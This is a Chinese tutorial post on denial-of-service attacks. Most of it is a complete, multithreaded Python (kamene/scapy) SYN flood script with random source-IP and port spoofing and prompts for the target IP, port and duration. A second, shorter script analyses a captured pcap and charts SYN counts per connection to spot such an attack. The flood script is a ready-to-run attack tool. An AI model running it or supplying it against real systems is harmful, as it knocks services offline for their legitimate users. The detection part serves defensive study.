一、Dos简介
最基本的DoS攻击就是攻击者利用大量合理的服务请求来占用攻击目标过多的服务资源,从而使合法用户无法得到服务的响应。DoS攻击一般是采用一对一方式的,当攻击目标各项性能指标不高时(例如CPU速度低、内存小或者网络带宽小等等),它的效果是明显的。
泛洪攻击(Flood)
指攻击者通过僵尸网络、代理或直接向攻击目标发送大量的伪装的请求服务报文,最终耗尽攻击目标的资源。发送的大量报文可以是TCP的SYN和ACK报文、UDP报文、ICMP报文、DNS报文HTTP/HTTPS报文等。
二、Python实现SYN Flood攻击
以下Python脚本可实现简易的SYN Flood攻击
#!/usr/bin/python3
# -*- coding=utf-8 -*-
from kamene.all import *
import random,time,threading
def Single_IP_port_dos(source_IP,target_IP,dst_port,timeout=60,ifname="ens37"):
'''单IP单端口'''
source_port = int(random.randint(1, 65535))
timeout_start = time.time()
i = 1
while time.time() < timeout_start + timeout:
IP1 = IP(src=source_IP, dst=target_IP)
TCP1 = TCP(sport=source_port, dport=dst_port)
pkt = IP1 / TCP1
send(pkt, iface=ifname,inter=.001,)# inter 参数指定在两个数据包之间等待的时间间隔(以秒为单位)
print(pkt.summary())
# print("packet sent ", i)
# i = i + 1
def Multiple_IP_port_dos(target_IP,dst_port,timeout=60,ifname="ens37"):
'''多IP多端口'''
timeout_start = time.time()
i = 1
while time.time() < timeout_start + timeout:
a = str(random.randint(1, 254))
b = str(random.randint(1, 254))
c = str(random.randint(1, 254))
d = str(random.randint(1, 254))
dot = "."
source_IP = a + dot + b + dot + c + dot + d
source_port = int(random.randint(1, 65535))
IP1 = IP(src=source_IP, dst=target_IP)
TCP1 = TCP(sport=source_port, dport=dst_port)
pkt = IP1 / TCP1
send(pkt, iface=ifname, inter=.001)
print(pkt.summary())
# print("packet sent ", i)
# i = i + 1
def dos_thread(choice,*args):
'''多线程发送'''
n = int(input("Enter Number of threads:"))
while True:
try :
t_obj = []
for j in range(n):
if choice == "1":
t = threading.Thread(target=Single_IP_port_dos, args=(source_IP, target_IP, dst_port, timeout, ifname))
elif choice == "2":
t = threading.Thread(target=Multiple_IP_port_dos, args=(target_IP, dst_port, timeout, ifname))
t.start()
t_obj.append(t)
for z in t_obj:
z.join()
except Exception:
print("输入有误!!")
pass
choice2 = input("Dos is done,contune? Y/N>>")
if choice2 == "Y" or choice2 == "y":
continue
elif choice2 == "N" or choice2 == "n":
break
else:
print("输入错误!!")
if __name__ =="__main__":
while True:
print('''
----可选模式----
1:单IP单端口
2:多IP多端口
q: 退出
''')
choice=input("选择模式>>>")
if choice == '1':
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
dst_port = int(input("Enter port of target: "))
timeout = int(input("Enter run time:"))
ifname = input("Enter ifname:")
dos_thread(choice, source_IP,target_IP,dst_port,timeout,ifname)
elif choice == '2':
target_IP = input("Enter IP address of Target: ")
dst_port = int(input("Enter port of target: "))
timeout = int(input("Enter run time:"))
ifname = input("Enter ifname:")
dos_thread(choice,target_IP,timeout,ifname)
elif choice == 'q':
break
else:
print("输入错误!!")
运行结果如下
image.png
image.png
使用Wirshark观察如下,产生大量TCP syn包;由于使用单IP单端口发送时,scapy使用了相同TCP序列号和数据,Wirshark认为是TCP重传,使用多IP多端口是则正常。
image.png
三、对SYN Flood攻击进行图形化展示
以下Python脚本可对捕获的SYN Flood包进行分析,并展示出数量大于5的连接。
#!/usr/bin/python3
# -*- coding=utf-8 -*-
from kamene.all import *
from matplotlib import pyplot as plt
def find_pcap_syn_dos(pcap_filename):
''' 对会话(源,目,目的端口)统计会话数量,用于判断dos攻击'''
pkts_file = rdpcap(pcap_filename)#使用scapy的rdpcap函数打开pcap文件
pkt_list = pkts_file.res #提取每一个包到清单pkt_list
dos_dict= {} #最后的结果写入dos_dict
for packet in pkt_list:
try:
if packet.getlayer(TCP).fields["flags"] == 2: #SYN包
source_ip = packet.getlayer(IP).fields['src'] #提取源地址
destination_ip = packet.getlayer(IP).fields["dst"] #提取目的地址
destination_port = packet.getlayer(TCP).fields['dport'] #提取目的端口号
conn = source_ip,destination_ip,destination_port #用源地址,目的地址和目的端口产生元组
conn_counts = dos_dict.get(conn,0) #判断是否有这个键值,没有就返回0
dos_dict[conn] = conn_counts + 1 # 在返回值的基础加1
except Exception as e:
#print("Error:",e)
pass
return dos_dict
def show_dos(conn_num_list):
conn_list = []
num_list = []
for c, n in conn_num_list:
conn_list.append(str(c))
num_list.append(n)
print(conn_list)
print(num_list)
plt.figure(figsize=(10, 6), dpi=80) # 设置图像大小,像素密度
plt.barh(conn_list, num_list, height=0.5)
plt.rcParams['font.sans-serif'] = ['SimHei'] # 设置中文
plt.title("SYN Dos分析") # 主题
plt.xlabel("数量") # x轴注释
plt.ylabel("连接") # Y轴注释
plt.show()
if __name__ == "__main__":
dos_result = find_pcap_syn_dos("dos_test.pcap")
# 提取数量大于5的连接
conn_num_list= sorted([[conn,num] for conn,num in dos_result.items() if num >= 5],key=lambda x: x[1])
show_dos(conn_num_list)
运行结果如下
首先会打印出数量大于5的连接与其对应的数量。
image.png
同时会生成对应图表,可以直观的看到攻击目标主机和端口的源IP排名。
SYN Foold